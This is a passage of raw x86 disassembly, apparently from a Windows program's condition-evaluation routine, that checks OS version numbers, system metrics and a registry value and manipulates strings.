mov dword [ebp - 0x550], eax
jmp case.default.0x5a72b6
mov dword [ebp - 0x54c], 6
mov dword [ebp - 0x550], 0xffffffff
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x5fc]
lea edx, [ebp - 0x5f8]
lea eax, [ebp - 0x57d]
call fcn.0058b188
cmp dword [ebp - 0x550], 0xffffffff
jne 0x5a744c
mov eax, dword [ebp - 0x5f8]
cmp eax, dword [ebp - 0x54c]
jg 0x5a7424
mov eax, dword [ebp - 0x5f8]
cmp eax, dword [ebp - 0x54c]
jne 0x5a7436
mov eax, dword [ebp - 0x5fc]
cmp eax, dword [ebp - 0x550]
jl 0x5a7436
cmp dword [ebp - 0x600], 1
jl 0x5a7436
call fcn.0058e1e0
test al, al
jne 0x5a743a
xor eax, eax
jmp 0x5a743c
mov al, 1
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
mov eax, dword [ebp - 0x5f8]
cmp eax, dword [ebp - 0x54c]
jg 0x5a747a
mov eax, dword [ebp - 0x5f8]
cmp eax, dword [ebp - 0x54c]
jne 0x5a7476
mov eax, dword [ebp - 0x5fc]
cmp eax, dword [ebp - 0x550]
jge 0x5a747a
xor eax, eax
jmp 0x5a747c
mov al, 1
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
lea eax, [ebp - 0x2200]
push eax
lea ecx, [ebp - 0x2204]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2204]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2200]
call fcn.0040b328
add eax, 0xffffffe5
cmp eax, 5
ja case.default.0x5a74d1
jmp dword [eax*4 + 0x5a74d8]
mov dword [ebp - 0x54c], 1
jmp case.default.0x5a74d1
mov dword [ebp - 0x54c], 2
jmp case.default.0x5a74d1
mov dword [ebp - 0x54c], 3
jmp case.default.0x5a74d1
mov dword [ebp - 0x54c], 4
jmp case.default.0x5a74d1
mov dword [ebp - 0x54c], 5
jmp case.default.0x5a74d1
mov dword [ebp - 0x54c], 6
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x5fc]
lea edx, [ebp - 0x5f8]
lea eax, [ebp - 0x57d]
call fcn.0058b188
mov eax, dword [ebp - 0x600]
cmp eax, dword [ebp - 0x54c]
setge al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
lea edx, [ebp - 0x54c]
lea eax, [ebp - 0x3c4]
call fcn.0058aa3c
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x54c]
call fcn.0040b1ec
jmp case.default.0x5a6e40
lea edx, [ebp - 0x54c]
lea eax, [ebp - 0x3c0]
call fcn.0058aa3c
jmp case.default.0x5a6e40
lea edx, [ebp - 0x3c4]
lea eax, [ebp - 0x3c0]
call fcn.0058a4b0
jmp case.default.0x5a6e40
lea edx, [ebp - 0x3c0]
lea eax, [ebp - 0x3c4]
call fcn.0058a4b0
jmp case.default.0x5a6e40
lea eax, [ebp - 0x2208]
push eax
lea ecx, [ebp - 0x220c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x220c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2208]
call fcn.0040b328
add eax, 0xffffffdb
cmp eax, 0xf
ja case.default.0x5a7625
jmp dword [eax*4 + 0x5a762c]
mov dword [ebp - 0x5b4], 6
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0xaf0
mov dword [ebp - 0x5c0], 0x452
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 6
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0xa28
xor eax, eax
mov dword [ebp - 0x5c0], eax
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 5
mov dword [ebp - 0x5b8], 5
mov dword [ebp - 0x5bc], 0x12c7
mov dword [ebp - 0x5c0], 0x8fc
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 5
mov dword [ebp - 0x5b8], 5
mov dword [ebp - 0x5bc], 0x11aa
mov dword [ebp - 0x5c0], 0x708
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 5
mov dword [ebp - 0x5b8], 5
mov dword [ebp - 0x5bc], 0x1026
mov dword [ebp - 0x5c0], 0x64
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 5
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0xdae
mov dword [ebp - 0x5c0], 0x1518
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 5
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0xcf2
mov dword [ebp - 0x5c0], 0x834
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 5
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0xb67
mov dword [ebp - 0x5c0], 0x18a3
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 5
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0x7de
mov dword [ebp - 0x5c0], 0xd5
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x48
mov dword [ebp - 0x5bc], 0xe1c
mov dword [ebp - 0x5c0], 0x6ab
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x48
mov dword [ebp - 0x5bc], 0xc26
mov dword [ebp - 0x5c0], 3
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x48
mov dword [ebp - 0x5bc], 0x83a
mov dword [ebp - 0x5c0], 7
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x47
mov dword [ebp - 0x5bc], 0x6b0
mov dword [ebp - 0x5c0], 5
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x46
mov dword [ebp - 0x5bc], 0x514
xor eax, eax
mov dword [ebp - 0x5c0], eax
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x46
mov dword [ebp - 0x5bc], 0x4bf
xor eax, eax
mov dword [ebp - 0x5c0], eax
jmp case.default.0x5a7625
mov dword [ebp - 0x5b4], 4
mov dword [ebp - 0x5b8], 0x46
mov dword [ebp - 0x5bc], 0x483
xor eax, eax
mov dword [ebp - 0x5c0], eax
lea eax, [ebp - 0x5a4]
push eax
lea eax, [ebp - 0x5a8]
push eax
lea eax, [ebp - 0x5ac]
push eax
lea eax, [ebp - 0x5b0]
push eax
mov edx, dword [0x5d4a68]
mov edx, dword [edx]
lea eax, [ebp - 0x2210]
mov ecx, 0x5aef58
call fcn.00405db0
mov eax, dword [ebp - 0x2210]
lea ecx, [ebp - 0x5a0]
lea edx, [ebp - 0x59c]
call fcn.0058b068
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0x5b4]
jae 0x5a7983
mov byte [ebp - 0x57d], 0
jmp 0x5a79f0
mov eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0x5b4]
jne 0x5a79f0
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x5b8]
jae 0x5a79a8
mov byte [ebp - 0x57d], 0
jmp 0x5a79f0
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x5b8]
jne 0x5a79f0
mov eax, dword [ebp - 0x5a4]
cmp eax, dword [ebp - 0x5bc]
jae 0x5a79cd
mov byte [ebp - 0x57d], 0
jmp 0x5a79f0
mov eax, dword [ebp - 0x5a4]
cmp eax, dword [ebp - 0x5bc]
jne 0x5a79f0
mov eax, dword [ebp - 0x5a8]
cmp eax, dword [ebp - 0x5c0]
jae 0x5a79f0
mov byte [ebp - 0x57d], 0
lea edx, [ebp - 0x3c0]
movzx eax, byte [ebp - 0x57d]
call fcn.00593690
jmp case.default.0x5a6e40
xor eax, eax
mov dword [ebp - 0x550], eax
lea eax, [ebp - 0x2214]
push eax
lea ecx, [ebp - 0x2218]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2218]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2214]
call fcn.0040b328
add eax, 0xffffffcb
cmp eax, 0x14
ja case.0x5a7a5f.59
movzx eax, byte [eax + 0x5a7a66]
jmp dword [eax*4 + 0x5a7a7b]
mov dword [ebp - 0x54c], 7
jmp case.0x5a7a5f.59
mov dword [ebp - 0x54c], 6
jmp case.0x5a7a5f.59
mov dword [ebp - 0x54c], 5
mov dword [ebp - 0x550], 1
jmp case.0x5a7a5f.59
mov dword [ebp - 0x54c], 5
jmp case.0x5a7a5f.59
mov dword [ebp - 0x54c], 4
jmp case.0x5a7a5f.59
mov dword [ebp - 0x54c], 3
jmp case.0x5a7a5f.59
mov dword [ebp - 0x54c], 2
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
xor ecx, ecx
mov edx, 0x5aef6c
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
test al, al
jne 0x5a7b45
mov byte [ebp - 0x57d], 0
jmp 0x5a7bbc
xor eax, eax
push ebp
push 0x5a7ba0
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x5aef90
mov eax, dword [ebp - 0x53c]
call fcn.00431108
mov ebx, eax
add ebx, ebx
lea ebx, [ebx + ebx*4]
mov edx, 0x5aefa8
mov eax, dword [ebp - 0x53c]
call fcn.00431108
add ebx, eax
mov eax, dword [ebp - 0x54c]
add eax, eax
lea eax, [eax + eax*4]
add eax, dword [ebp - 0x550]
cmp ebx, eax
setge byte [ebp - 0x57d]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a7bb1
mov eax, dword [ebp - 0x53c]
call fcn.00430994
mov eax, dword [ebp - 0x53c]
call fcn.00404b38
lea edx, [ebp - 0x3c0]
movzx eax, byte [ebp - 0x57d]
call fcn.00593690
jmp case.default.0x5a6e40
lea eax, [ebp - 0x3c0]
call fcn.0057cf7c
jmp case.default.0x5a6e40
lea edx, [ebp - 0x3c0]
mov al, 1
call fcn.0058a348
jmp case.default.0x5a6e40
lea eax, [ebp - 0x3c0]
call fcn.0058a314
jmp case.default.0x5a6e40
lea edx, [ebp - 0x3c0]
xor eax, eax
call fcn.0058a348
jmp case.default.0x5a6e40
call fcn.0058a8e0
test al, al
je 0x5a7c40
lea eax, [ebp - 0x3c0]
mov edx, 0x5aefc0
call fcn.00405b30
jmp case.default.0x5a6e40
call fcn.0058a910
test al, al
je 0x5a7c5e
lea eax, [ebp - 0x3c0]
mov edx, 0x5aefd0
call fcn.00405b30
jmp case.default.0x5a6e40
call fcn.0058a8f8
test al, al
je 0x5a7c7c
lea eax, [ebp - 0x3c0]
mov edx, 0x5aefe0
call fcn.00405b30
jmp case.default.0x5a6e40
call fcn.0058a928
test al, al
je 0x5a7c9a
lea eax, [ebp - 0x3c0]
mov edx, 0x5aeff0
call fcn.00405b30
jmp case.default.0x5a6e40
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae7b0
call fcn.00405b30
jmp case.default.0x5a6e40
call fcn.0042d534
lea edx, [ebp - 0x3c0]
call fcn.0040b1ec
jmp case.default.0x5a6e40
call fcn.0058e318
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
push 0x56
call sub.user32.dll_GetSystemMetrics
test eax, eax
setne al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
push 0x57
call sub.user32.dll_GetSystemMetrics
test eax, eax
setne al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
call fcn.0058e1e0
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
call fcn.004b0a14
cmp eax, 1
sbb eax, eax
inc eax
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
call fcn.004b09b0
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
call fcn.004b0a14
test eax, eax
jne 0x5a7d68
call fcn.004b09b0
test al, al
je 0x5a7d6c
xor eax, eax
jmp 0x5a7d6e
mov al, 1
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a6e40
lea eax, [ebp - 0x3c0]
call fcn.0058e224
jmp case.default.0x5a6e40
lea eax, [ebp - 0x3c0]
call fcn.00593f68
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x59c], eax
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5a0], eax
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5a4], eax
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5a8], eax
mov dword [ebp - 0x5b4], 7
xor eax, eax
mov dword [ebp - 0x5b8], eax
mov dword [ebp - 0x5bc], 0x1662
mov dword [ebp - 0x5c0], 0xb
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0x5b4]
jae 0x5a7e21
mov byte [ebp - 0x57d], 0
jmp 0x5a7e8e
mov eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0x5b4]
jne 0x5a7e8e
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x5b8]
jae 0x5a7e46
mov byte [ebp - 0x57d], 0
jmp 0x5a7e8e
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x5b8]
jne 0x5a7e8e
mov eax, dword [ebp - 0x5a4]
cmp eax, dword [ebp - 0x5bc]
jae 0x5a7e6b
mov byte [ebp - 0x57d], 0
jmp 0x5a7e8e
mov eax, dword [ebp - 0x5a4]
cmp eax, dword [ebp - 0x5bc]
jne 0x5a7e8e
mov eax, dword [ebp - 0x5a8]
cmp eax, dword [ebp - 0x5c0]
jae 0x5a7e8e
mov byte [ebp - 0x57d], 0
lea edx, [ebp - 0x3c0]
movzx eax, byte [ebp - 0x57d]
call fcn.00593690
lea eax, [ebp - 0x221c]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x221c]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5af000
call fcn.00405ec0
jne 0x5a826b
xor eax, eax
push ebp
push 0x5a8264
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x2220]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2220]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x5a7f9c
lea edx, [ebp - 0x2224]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x2224]
push eax
lea eax, [ebp - 0x2228]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2228]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x5a4]
push eax
lea eax, [ebp - 0x5a8]
push eax
lea eax, [ebp - 0x5ac]
push eax
lea eax, [ebp - 0x5b0]
push eax
lea eax, [ebp - 0x2234]
push eax
lea ecx, [ebp - 0x2238]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2238]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2234]
lea edx, [ebp - 0x2230]
call fcn.005939c8
mov eax, dword [ebp - 0x2230]
lea edx, [ebp - 0x222c]
call fcn.0058ff30
mov eax, dword [ebp - 0x222c]
lea ecx, [ebp - 0x5a0]
lea edx, [ebp - 0x59c]
call fcn.0058b068
lea eax, [ebp - 0x223c]
push eax
lea ecx, [ebp - 0x2240]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2240]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x223c]
call fcn.005936d4
test al, al
je 0x5a80f4
lea eax, [ebp - 0x5bc]
push eax
lea eax, [ebp - 0x5c0]
push eax
lea eax, [ebp - 0x5c4]
push eax
lea eax, [ebp - 0x5c8]
push eax
lea eax, [ebp - 0x224c]
push eax
lea ecx, [ebp - 0x2250]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2250]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x224c]
lea edx, [ebp - 0x2248]
call fcn.005939c8
mov eax, dword [ebp - 0x2248]
lea edx, [ebp - 0x2244]
call fcn.0058ff30
mov eax, dword [ebp - 0x2244]
lea ecx, [ebp - 0x5b8]
lea edx, [ebp - 0x5b4]
call fcn.0058b068
jmp 0x5a817b
lea eax, [ebp - 0x2254]
push eax
lea ecx, [ebp - 0x2258]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2258]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2254]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5b4], eax
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5b8], eax
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5bc], eax
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5c0], eax
mov byte [ebp - 0x57d], 1
mov eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0x5b4]
jae 0x5a8199
mov byte [ebp - 0x57d], 0
jmp 0x5a8206
mov eax, dword [ebp - 0x59c]
cmp eax, dword [ebp - 0x5b4]
jne 0x5a8206
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x5b8]
jae 0x5a81be
mov byte [ebp - 0x57d], 0
jmp 0x5a8206
mov eax, dword [ebp - 0x5a0]
cmp eax, dword [ebp - 0x5b8]
jne 0x5a8206
mov eax, dword [ebp - 0x5a4]
cmp eax, dword [ebp - 0x5bc]
jae 0x5a81e3
mov byte [ebp - 0x57d], 0
jmp 0x5a8206
mov eax, dword [ebp - 0x5a4]
cmp eax, dword [ebp - 0x5bc]
jne 0x5a8206
mov eax, dword [ebp - 0x5a8]
cmp eax, dword [ebp - 0x5c0]
ja 0x5a8206
mov byte [ebp - 0x57d], 0
lea edx, [ebp - 0x225c]
movzx eax, byte [ebp - 0x57d]
call fcn.00593690
mov eax, dword [ebp - 0x225c]
push eax
lea eax, [ebp - 0x2260]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2260]
mov eax, dword [ebp - 0x3b0]
pop edx
call fcn.00590064
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5af01c
call fcn.00405ec0
jne 0x5a89c0
lea eax, [ebp - 0x2268]
push eax
lea ecx, [ebp - 0x226c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x226c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2268]
lea edx, [ebp - 0x2264]
call fcn.005939c8
mov eax, dword [ebp - 0x2264]
lea edx, [ebp - 0x404]
call fcn.0058ff30
lea eax, [ebp - 0x2274]
push eax
lea ecx, [ebp - 0x2278]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2278]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2274]
lea edx, [ebp - 0x2270]
call fcn.005939c8
mov eax, dword [ebp - 0x2270]
lea edx, [ebp - 0x408]
call fcn.0058ff30
lea eax, [ebp - 0x3c4]
push eax
lea ecx, [ebp - 0x227c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x227c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x3c4], 0
je 0x5a83af
mov eax, dword [ebp - 0x3c4]
call fcn.005af6a8
test al, al
jne 0x5a83af
lea edx, [ebp - 0x2280]
mov eax, dword [ebp - 0x3c4]
call fcn.0040abac
mov eax, dword [ebp - 0x2280]
push eax
lea eax, [ebp - 0x2284]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2284]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x3c8]
push eax
lea ecx, [ebp - 0x2288]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2288]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
cmp dword [ebp - 0x3c8], 0
je 0x5a8435
mov eax, dword [ebp - 0x3c8]
call fcn.005af6a8
test al, al
jne 0x5a8435
lea edx, [ebp - 0x228c]
mov eax, dword [ebp - 0x3c8]
call fcn.0040abac
mov eax, dword [ebp - 0x228c]
push eax
lea eax, [ebp - 0x2290]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2290]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x2294]
push eax
lea ecx, [ebp - 0x2298]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2298]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x2294]
call fcn.005936d4
test al, al
je 0x5a84ba
lea edx, [ebp - 0x229c]
mov eax, dword [ebp - 0x404]
call fcn.0040abe4
mov edx, dword [ebp - 0x229c]
lea eax, [ebp - 0x404]
call fcn.00405b30
lea edx, [ebp - 0x22a0]
mov eax, dword [ebp - 0x408]
call fcn.0040abe4
mov edx, dword [ebp - 0x22a0]
lea eax, [ebp - 0x408]
call fcn.00405b30
xor eax, eax
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x620], 1
mov dword [ebp - 0x624], 1
lea eax, [ebp - 0x22a4]
push eax
lea ecx, [ebp - 0x22a8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22a8]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x22a4]
call fcn.0040b328
sub eax, 1
jb 0x5a8531
je 0x5a85c5
dec eax
je 0x5a8690
dec eax
je 0x5a86ff
jmp 0x5a8770
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x768], eax
cmp dword [ebp - 0x768], 0
je 0x5a8557
mov eax, dword [ebp - 0x768]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x768], eax
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0x620], eax
push 1
push 1
mov cl, 1
mov edx, dword [ebp - 0x404]
mov eax, dword [ebp - 0x408]
call fcn.004ad7f4
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 0
jne 0x5a8770
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 0
je 0x5a85b3
mov eax, dword [ebp - 0x76c]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x76c], eax
mov eax, dword [ebp - 0x76c]
inc eax
mov dword [ebp - 0x618], eax
jmp 0x5a8770
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x770], eax
cmp dword [ebp - 0x770], 0
je 0x5a85eb
mov eax, dword [ebp - 0x770]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x770], eax
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x620], eax
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x774], eax
cmp dword [ebp - 0x774], 0
je 0x5a861d
mov eax, dword [ebp - 0x774]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x774], eax
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x61c], eax
cmp dword [ebp - 0x61c], 0
jle 0x5a866c
cmp dword [ebp - 0x618], 0
jne 0x5a865d
mov eax, dword [ebp - 0x61c]
push eax
push 1
mov cl, 1
mov edx, dword [ebp - 0x404]
mov eax, dword [ebp - 0x408]
call fcn.004ad7f4
mov dword [ebp - 0x618], eax
dec dword [ebp - 0x61c]
cmp dword [ebp - 0x61c], 0
jg 0x5a8632
cmp dword [ebp - 0x618], 0
jne 0x5a8770
mov dword [ebp - 0x618], 1
xor eax, eax
mov dword [ebp - 0x620], eax
jmp 0x5a8770
xor eax, eax
push ebp
push 0x5a86eb
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x624], eax
mov eax, dword [ebp - 0x408]
call fcn.0040b328
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 0
jne 0x5a86de
mov dword [ebp - 0x618], 1
mov dword [ebp - 0x624], 1
mov dword [ebp - 0x620], 0xffffffff
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8770
xor eax, eax
push ebp
push 0x5a875e
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x624], eax
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x778], 0
je 0x5a873b
mov eax, dword [ebp - 0x778]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x778], eax
mov eax, dword [ebp - 0x408]
call fcn.0040b328
mov edx, dword [ebp - 0x778]
sub edx, eax
mov dword [ebp - 0x618], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a8770
cmp dword [ebp - 0x618], 0
jne 0x5a8794
lea eax, [ebp - 0x3fc]
call fcn.00405a98
lea eax, [ebp - 0x400]
call fcn.00405a98
jmp 0x5a88a9
lea eax, [ebp - 0x22b0]
push eax
lea ecx, [ebp - 0x22b4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22b4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x22b0]
lea edx, [ebp - 0x22ac]
call fcn.005939c8
mov eax, dword [ebp - 0x22ac]
lea edx, [ebp - 0x404]
call fcn.0058ff30
lea eax, [ebp - 0x22bc]
push eax
lea ecx, [ebp - 0x22c0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22c0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x22bc]
lea edx, [ebp - 0x22b8]
call fcn.005939c8
mov eax, dword [ebp - 0x22b8]
lea edx, [ebp - 0x408]
call fcn.0058ff30
lea eax, [ebp - 0x3fc]
push eax
mov ecx, dword [ebp - 0x618]
sub ecx, dword [ebp - 0x624]
mov edx, 1
mov eax, dword [ebp - 0x404]
call fcn.00405f90
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x77c], eax
cmp dword [ebp - 0x77c], 0
je 0x5a8885
mov eax, dword [ebp - 0x77c]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x77c], eax
lea eax, [ebp - 0x400]
push eax
mov edx, dword [ebp - 0x618]
add edx, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x404]
call fcn.00405f90
lea eax, [ebp - 0x22c4]
push eax
lea ecx, [ebp - 0x22c8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22c8]
mov ecx, 6
